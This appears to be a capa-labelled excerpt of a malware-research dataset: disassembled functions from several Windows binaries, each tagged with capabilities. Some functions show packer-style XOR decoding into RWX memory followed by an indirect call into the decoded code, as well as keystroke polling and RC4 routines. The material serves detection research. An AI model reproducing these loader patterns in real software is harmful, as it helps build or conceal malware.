joyce8/EMBER2024-capa huggingface dataset:
Function at 0x421850
Capabilities:
Terminate process

Disassembly:
call fcn.00422195
jmp 0x42185a
push 0x58
push 0x425640
call fcn.00422248
xor ebx, ebx
mov dword [ebp - 0x20], ebx
lea eax, [ebp - 0x68]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
mov dword [ebp - 4], ebx
mov eax, dword fs:[0x18]
mov esi, dword [eax + 4]
mov edi, ebx
mov edx, 0x42c2d0
mov ecx, esi
xor eax, eax
lock cmpxchg dword [edx], ecx
test eax, eax
je 0x4218ac
cmp eax, esi
jne 0x42189f
xor esi, esi
inc esi
mov edi, esi
jmp 0x4218af
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x421883
xor esi, esi
inc esi
cmp dword [0x42c2d4], esi
jne 0x4218c1
push 0x1f
call fcn.004cb000
pop ecx
jmp 0x4218fb
cmp dword [0x42c2d4], ebx
jne 0x4218f5
mov dword [0x42c2d4], esi
push 0x401024
push 0x401018
call fcn.00421a39
pop ecx
pop ecx
test eax, eax
je 0x4218fb
mov dword [ebp - 4], 0xfffffffe
mov eax, 0xff
jmp 0x421a29
mov dword [0x42bf78], esi
cmp dword [0x42c2d4], esi
jne 0x42191e
push 0x401014
push section..text
call sub.msvcrt.dll__initterm
pop ecx
pop ecx
mov dword [0x42c2d4], 2
test edi, edi
jne 0x42192b
xor eax, eax
mov ecx, 0x42c2d0
xchg dword [ecx], eax
cmp dword [0x42c2e0], 0
je 0x421957
push 0x42c2e0
call fcn.004220a0
pop ecx
test eax, eax
je 0x421957
push ebx
push 2
push ebx
mov esi, dword [0x42c2e0]
mov ecx, esi
call dword [0x42d974]
call esi
mov eax, dword [sym.imp.msvcrt.dll__acmdln]
mov esi, dword [eax]
mov dword [ebp - 0x1c], esi
mov edi, dword [ebp - 0x20]
mov cl, byte [esi]
cmp cl, 0x20
ja 0x4219b5
test cl, cl
je 0x421984
test edi, edi
jne 0x4219b5
test cl, cl
je 0x421984
cmp cl, 0x20
ja 0x421984
inc esi
mov dword [ebp - 0x1c], esi
mov cl, byte [esi]
jmp 0x421973
test byte [ebp - 0x3c], 1
je 0x421990
movzx eax, word [ebp - 0x38]
jmp 0x421993
push 0xa
pop eax
push eax
push esi
push ebx
push 0x400000
call main
mov dword [0x42bf74], eax
cmp dword [0x42bf8c], 0
jne 0x421a0e
push eax
call dword [sym.imp.msvcrt.dll_exit]
cmp cl, 0x22
jne 0x4219c6
xor eax, eax
test edi, edi
sete al
mov edi, eax
mov dword [ebp - 0x20], edi
movzx eax, cl
push eax
call dword [sym.imp.msvcrt.dll__ismbblead]
pop ecx
test eax, eax
je 0x4219d9
inc esi
mov dword [ebp - 0x1c], esi
inc esi
mov dword [ebp - 0x1c], esi
jmp 0x421964
cmp dword [0x42bf78], 0
jne 0x421a22
call dword [sym.imp.msvcrt.dll__cexit]
mov eax, dword [0x42bf74]
mov dword [ebp - 4], 0xfffffffe
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x421f94
Capabilities:
Parse pe header

Disassembly:
push 0xc
push 0x4256e0
call fcn.00422248
xor ecx, ecx
mov eax, dword [ebp + 8]
test eax, eax
je 0x421ff4
cmp eax, 0xffffffff
je 0x421ff4
mov dword [ebp - 4], ecx
mov edx, 0x5a4d
cmp word [eax], dx
jne 0x421fed
mov edx, dword [eax + 0x3c]
test edx, edx
js 0x421fed
cmp edx, 0x10000000
jae 0x421fed
add eax, edx
mov dword [ebp - 0x1c], eax
mov ecx, dword [eax]
sub ecx, 0x4550
neg ecx
sbb ecx, ecx
not ecx
and ecx, eax
jmp 0x421fea
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 4], 0xfffffffe
mov eax, ecx
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x422050
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x42208e
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x422086
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x422090
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x422076
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x422160
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
mov eax, 0x5a4d
cmp word [ecx], ax
jne 0x422191
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x422191
mov ecx, 0x10b
cmp word [eax + 0x18], cx
jne 0x422191
mov eax, 1
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x1000a6a4
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
cmp dword [0x10011dac], 0
push esi
push edi
jne 0x1000a61a
call fcn.1000a586
test eax, eax
je 0x1000a65f
mov eax, dword [0x10011dac]
cmp eax, 1
jne 0x1000a63b
push 0xd
push 0
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
call dword [sym.imp.kernel32.dll_HeapAlloc]
test eax, eax
je 0x1000a65f
jmp 0x1000a6a1
mov edi, dword [sym.imp.kernel32.dll_InterlockedPopEntrySList]
push eax
call edi
test eax, eax
jne 0x1000a6a1
push 0x40
mov eax, 0x1000
push eax
push eax
push 0
call dword [sym.imp.kernel32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x1000a663
xor eax, eax
jmp 0x1000a6a1
mov eax, dword [esi]
push dword [0x10011dac]
call edi
mov edi, eax
test edi, edi
je 0x1000a685
push 0x8000
push 0
push esi
call dword [sym.imp.kernel32.dll_VirtualFree]
mov eax, edi
jmp 0x1000a6a1
lea edi, [esi + 0xff0]
push esi
push dword [0x10011dac]
call dword [sym.imp.kernel32.dll_InterlockedPushEntrySList]
add esi, 0x10
cmp esi, edi
jb 0x1000a68b
mov eax, esi
pop edi
pop esi
ret
jmp 0x1000a606

Function at 0x1000a812
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10011c4c]
jne 0x1000a81c
repz ret
jmp fcn.1000b021

Function at 0x1000b422
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
pushal
call 0x1000b431
pop dword [ebp - 0x24]
mov eax, 0x1000b431
sub dword [ebp - 0x24], eax
push 0x40
push 0x1000
push 0x37f90
push 0
mov eax, 0xb3612586
sub eax, 0xa3606476
add eax, dword [ebp - 0x24]
call dword [eax]
mov ecx, 0xf65ecefe
sub ecx, 0xf65e83e2
xor edi, edi
add edi, eax
mov esi, 0x1001c600
add esi, dword [ebp - 0x24]
mov ebx, 0xb593495c
add ebx, 0x1c326c2d
mov dword [ebp - 0x10], 0x8729085a
mov edx, dword [esi]
add edx, ebx
xor dword [ebp - 0x10], 0x1c7238c9
mov dword [edi], edx
sub dword [ebp - 0x18], eax
add edi, 0x2e6042d
add edi, 0xfd19fbd7
add esi, 4
loop 0x1000b487
add eax, 0x61253fc2
add eax, 0x9edbdf81
xor ebx, ebx
add ebx, eax
add eax, 0x85cc8b4a
sub eax, 0x85cc8b45
mov ecx, 0x10000000
add ecx, dword [ebp - 0x24]
call ebx
leave
ret
Function at 0x40110c
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x81a030]
jne 0x401116
repz ret
jmp fcn.00401ea1

Function at 0x4086ae
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00406a72
and dword [ebp - 4], 0
cmp dword [0x81c814], 0
mov ebx, eax
jne 0x40875f
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x408810
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x408810
push eax
call fcn.00406a00
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x81c814], eax
call esi
push eax
call fcn.00406a00
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x81c818], eax
call esi
push eax
call fcn.00406a00
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x81c81c], eax
call esi
push eax
call fcn.00406a00
pop ecx
mov dword [0x81c824], eax
test eax, eax
je 0x40875f
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00406a00
pop ecx
mov dword [0x81c820], eax
mov eax, dword [0x81c820]
cmp eax, ebx
je 0x4087b7
cmp dword [0x81c824], ebx
je 0x4087b7
push eax
call fcn.00406a7b
push dword [0x81c824]
mov esi, eax
call fcn.00406a7b
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x4087b7
test edi, edi
je 0x4087b7
call esi
test eax, eax
je 0x4087ae
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x4087ae
test byte [ebp - 0xc], 1
jne 0x4087b7
or dword [ebp + 0x10], 0x200000
jmp 0x4087f0
mov eax, dword [0x81c818]
cmp eax, ebx
je 0x4087f0
push eax
call fcn.00406a7b
pop ecx
test eax, eax
je 0x4087f0
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x4087f0
mov eax, dword [0x81c81c]
cmp eax, ebx
je 0x4087f0
push eax
call fcn.00406a7b
pop ecx
test eax, eax
je 0x4087f0
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x81c814]
call fcn.00406a7b
pop ecx
test eax, eax
je 0x408810
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x408812
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40cc40
Capabilities:
Set console window title

Disassembly:
sub esp, 0x428
mov eax, dword [0x81a030]
xor eax, esp
mov dword [esp + 0x424], eax
mov eax, dword [0x2ffa114]
push ebx
mov ebx, dword [0x2ff9f60]
push esi
mov esi, dword [0x81b050]
push edi
mov edi, eax
cmp eax, 0x930
jne 0x40cc81
push str.lefovuweceh
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
mov eax, dword [0x2ffa114]
mov dword [0x81c9ec], esi
cmp eax, 0x114e
jne 0x40ccab
push 0
call dword [sym.imp.KERNEL32.dll_HeapDestroy]
lea eax, [esp + 0x14]
push eax
push str.nanucucolumisocifozoguvex
call dword [sym.imp.KERNEL32.dll_BuildCommDCBW]
mov eax, dword [0x2ffa114]
cmp eax, 0x2f
jne 0x40cccd
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x10]
push edx
push 0
lea eax, [esp + 0x3c]
push eax
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_ReadEventLogW]
call fcn.0040cbb0
mov ecx, dword [esp + 0x430]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0040110c
add esp, 0x428
ret
Function at 0x100017c1
Capabilities:
Link many functions at runtime

Disassembly:
push ebx
push edi
push 0x14
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov edi, eax
pop ecx
test edi, edi
je 0x1000185c
push str.jvm.dll
call dword [sym.imp.kernel32.dll_GetModuleHandleA]
mov ebx, eax
test ebx, ebx
jne 0x100017f3
push edi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
pop ecx
xor eax, eax
jmp 0x1000185e
push esi
mov esi, dword [sym.imp.kernel32.dll_GetProcAddress]
push str.JVM_DTraceGetVersion
push ebx
call esi
push str.JVM_DTraceIsSupported
push ebx
mov dword [edi], eax
call esi
push str.JVM_DTraceActivate
push ebx
mov dword [edi + 4], eax
call esi
push str.JVM_DTraceDispose
push ebx
mov dword [edi + 8], eax
call esi
push str.JVM_DTraceIsProbeEnabled
push ebx
mov dword [edi + 0xc], eax
call esi
push ebx
mov dword [edi + 0x10], eax
call dword [sym.imp.kernel32.dll_FreeLibrary]
xor esi, esi
cmp dword [edi], esi
je 0x10001851
cmp dword [edi + 4], esi
je 0x10001851
cmp dword [edi + 8], esi
je 0x10001851
cmp dword [edi + 0xc], esi
je 0x10001851
cmp dword [edi + 0x10], esi
jne 0x1000185b
push edi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
pop ecx
mov edi, esi
pop esi
mov eax, edi
pop edi
pop ebx
ret

Function at 0x100022cf
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
pushal
call 0x100022de
pop dword [ebp - 0x2c]
mov eax, 0x8630972b
sub eax, 0x7630744d
sub dword [ebp - 0x2c], eax
mov dword [ebp - 0x3c], 0x9d1b8217
sub dword [ebp - 0x3c], 0x4ec93ccc
mov dword [ebp - 0x38], 0x71994739
add dword [ebp - 0x38], 0xc09a050c
mov dword [ebp - 0x34], 0xf6d3da8e
sub dword [ebp - 0x34], 0xaa879660
mov dword [ebp - 0x30], 0x358e55f8
sub dword [ebp - 0x30], 0x358e55f8
lea eax, [ebp - 0x3c]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x2c]
call dword [eax]
mov dword [ebp - 0x3c], 0x8d51825f
sub dword [ebp - 0x3c], 0x18df1909
mov dword [ebp - 0x38], 0x9ce0114f
sub dword [ebp - 0x38], 0x5b73afda
mov dword [ebp - 0x34], 0xb2efe676
sub dword [ebp - 0x34], 0x4f807a0a
mov dword [ebp - 0x30], 0x4bd49287
add dword [ebp - 0x30], 0xb42b6d79
lea ebx, [ebp - 0x3c]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x2c]
call dword [eax]
push 0x40
push 0x1000
push 0x35686
push 0
call eax
mov ecx, 0x38068515
sub ecx, 0x38064166
xor edx, edx
add edx, eax
mov edi, 0x10006200
add edi, dword [ebp - 0x2c]
mov esi, 0xaf5ea241
add esi, 0x83161caa
add dword [ebp - 4], 0x6cc4f8f9
mov ebx, dword [edi]
add dword [ebp - 4], edx
xor ebx, esi
add dword [ebp - 0xc], ecx
mov dword [edx], ebx
add dword [ebp - 0x10], edx
add edx, 4
add edi, 4
loop 0x100023f2
add eax, 0xbeba5280
sub eax, 0xbeb950f1
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0xadd82dd8
sub ecx, 0x9dd82dd8
add ecx, dword [ebp - 0x2c]
call ebx
leave
ret
Function at 0x40d710
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x497b9b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.0048c843
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x40d792
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.0048a755
mov eax, dword [eax]
push 0x5a9cdc
push eax
call fcn.0047c784
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.0048cace
test bl, bl
je 0x40d792
push 0x5a9cdc
lea ecx, [esp + 0xc]
call fcn.0048ce5e
push 0x5a9ce8
lea ecx, [esp + 0xc]
call fcn.0048ce5e
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x40d7ce
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.0048cace
jmp 0x40d899
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x40d852
lea edx, [esp + 0x7c]
push 0x5a9ce4
push edx
call fcn.0047c784
add esp, 8
test eax, eax
je 0x40d852
lea eax, [esp + 0x7c]
push 0x5a9ce0
push eax
call fcn.0047c784
add esp, 8
test eax, eax
je 0x40d852
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x40d7e2
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.0048cace
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x40e0a0
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x40e102
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x40e110
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x497c1b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x5b9150]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x40e248
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x40e176
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0048cace
xor eax, eax
jmp 0x40e2bf
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.0048cc0b
push esi
lea ecx, [esp + 0xc]
call fcn.0048ce9a
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x40e29d
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push closesocket
call fcn.0040e0a0
test eax, eax
jne 0x40e29d
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push closesocket
mov ecx, edi
call fcn.0040e0a0
test eax, eax
jne 0x40e29d
lea eax, [esp + 0x14]
push str.__1_
push eax
call fcn.0047d8d0
mov esi, eax
add esp, 8
test esi, esi
jne 0x40e27c
lea ecx, [esp + 0x14]
push 0x5a9cf4
push ecx
call fcn.0047d850
mov esi, eax
add esp, 8
test esi, esi
jne 0x40e27c
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x40e27f
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.0048cbbb
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x40e18e
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0048cace
xor eax, eax
jmp 0x40e2bf
mov byte [esi], 0
push 0x5a9cf0
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.0048cace
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x41ef30
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x41ef9e
cmp si, 0x69
ja 0x41ef9e
add esi, 0xffd0
cmp si, 0x11
je 0x41ef6e
push 0x11
call edi
test ax, ax
jge 0x41ef6e
or esi, 0x2000
cmp si, 0x10
je 0x41ef83
push 0x10
call edi
test ax, ax
jge 0x41ef83
or esi, 0x4000
cmp si, 0x12
je 0x41ef98
push 0x12
call edi
test ax, ax
jge 0x41ef98
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x41efab
mov esi, 0xbd
jmp 0x41ef5f
cmp si, 0x6e
jne 0x41efb8
mov esi, 0xbe
jmp 0x41ef5f
cmp si, 0x6f
jne 0x41ef59
mov esi, 0xbf
jmp 0x41ef5f

Function at 0x4208b0
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x5c98e8]
xor edx, edx
cmp eax, edx
jne 0x4208d6
xor eax, eax
mov byte [eax + 0x5c97e8], al
inc eax
cmp eax, 0x100
jl 0x4208be
mov dword [0x5c98e8], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x5c97e8
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x420967
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x42093a
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x420908
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x420970
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x4209c3
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x4209aa
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x427a30
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x18
mov eax, dword [esp + 0x1c]
push ebx
push ebp
push esi
xor esi, esi
xor ecx, ecx
mov si, word [eax + 8]
mov cx, word [eax + 4]
xor ebp, ebp
xor edx, edx
mov bp, word [eax + 0xa]
mov dx, word [eax + 6]
sub esi, ecx
sub ebp, edx
inc esi
xor ebx, ebx
inc ebp
cmp esi, ebx
mov dword [esp + 0x14], esi
jle 0x427bc8
cmp ebp, ebx
jle 0x427bc8
mov eax, esi
push edi
cdq
and edx, 7
add eax, edx
mov edi, eax
mov eax, esi
sar edi, 3
and eax, 0x80000007
mov dword [esp + 0x10], edi
jns 0x427a8e
dec eax
or eax, 0xfffffff8
inc eax
je 0x427a95
inc edi
mov dword [esp + 0x10], edi
mov ecx, edi
and ecx, reloc.WS2_32.dll_accept
jns 0x427aa4
dec ecx
or ecx, 0xfffffffe
inc ecx
je 0x427aab
inc edi
mov dword [esp + 0x10], edi
push 0x18
call fcn.0048c80f
add esp, 4
cmp eax, ebx
je 0x427acc
mov dword [eax], ebx
mov dword [eax + 4], ebx
mov dword [eax + 8], ebx
mov dword [eax + 0xc], ebx
mov dword [eax + 0x10], ebx
mov dword [eax + 0x14], ebx
mov ebx, eax
mov eax, edi
mov dword [esp + 0x14], ebx
imul eax, ebp
push eax
mov dword [ebx], 7
mov dword [ebx + 4], esi
mov dword [ebx + 8], ebp
mov dword [ebx + 0x14], eax
call fcn.0048c80f
mov ecx, dword [ebx + 0x14]
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov dword [ebx + 0x10], edi
add esp, 4
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
test ebp, ebp
lea edx, [eax + 0x80]
jle 0x427bbe
xor eax, eax
mov dword [esp + 0x20], ebp
mov dword [esp + 0x1c], eax
mov ebp, dword [ebx + 0x10]
xor ecx, ecx
add ebp, eax
mov dword [esp + 0x2c], ecx
test esi, esi
jle 0x427ba5
mov al, byte [edx]
cmp al, 0xc0
jbe 0x427b91
and eax, 0xff
sub eax, 0xc0
inc edx
mov esi, eax
mov dword [esp + 0x24], edx
cmp esi, 1
jle 0x427b86
xor eax, eax
mov ecx, esi
mov al, byte [edx]
mov edx, ecx
mov bl, al
mov edi, ebp
mov bh, bl
dec esi
mov eax, ebx
shl eax, 0x10
mov ax, bx
mov ebx, dword [esp + 0x14]
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
mov edx, dword [esp + 0x24]
and ecx, 3
add ebp, esi
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
lea ecx, [eax + esi*8]
mov esi, dword [esp + 0x18]
jmp 0x427b94
mov al, byte [edx]
mov esi, dword [esp + 0x18]
mov byte [ebp], al
jmp 0x427b94
mov byte [ebp], al
inc ebp
add ecx, 8
inc edx
cmp ecx, esi
mov dword [esp + 0x2c], ecx
jl 0x427b30
mov eax, dword [esp + 0x1c]
mov edi, dword [esp + 0x10]
mov ecx, dword [esp + 0x20]
add eax, edi
dec ecx
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], ecx
jne 0x427b21
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x18
ret
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x18
ret
Function at 0x42b0f0
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x4992d8
push eax
mov dword fs:[0], esp
sub esp, 0x28
push esi
push edi
mov edi, dword [esp + 0x44]
mov esi, ecx
test edi, edi
jne 0x42b129
pop edi
xor eax, eax
pop esi
mov ecx, dword [esp + 0x28]
mov dword fs:[0], ecx
add esp, 0x34
ret 0x24
push 0x400
lea ecx, [esp + 0xc]
call fcn.004941e6
mov eax, dword [esp + 0x40]
push 0
push edi
push eax
lea ecx, [esp + 0x14]
mov dword [esp + 0x44], 0
call fcn.00494232
mov ecx, dword [esp + 0x60]
mov edx, dword [esp + 0x5c]
mov eax, dword [esp + 0x58]
push ecx
mov ecx, dword [esp + 0x58]
push edx
mov edx, dword [esp + 0x58]
push eax
mov eax, dword [esp + 0x58]
push ecx
mov ecx, dword [esp + 0x58]
push edx
push eax
lea edx, [esp + 0x20]
push ecx
push edx
mov ecx, esi
call fcn.0042b1b0
lea ecx, [esp + 8]
mov esi, eax
mov dword [esp + 0x38], 0xffffffff
call fcn.0049426f
mov ecx, dword [esp + 0x30]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x34
ret 0x24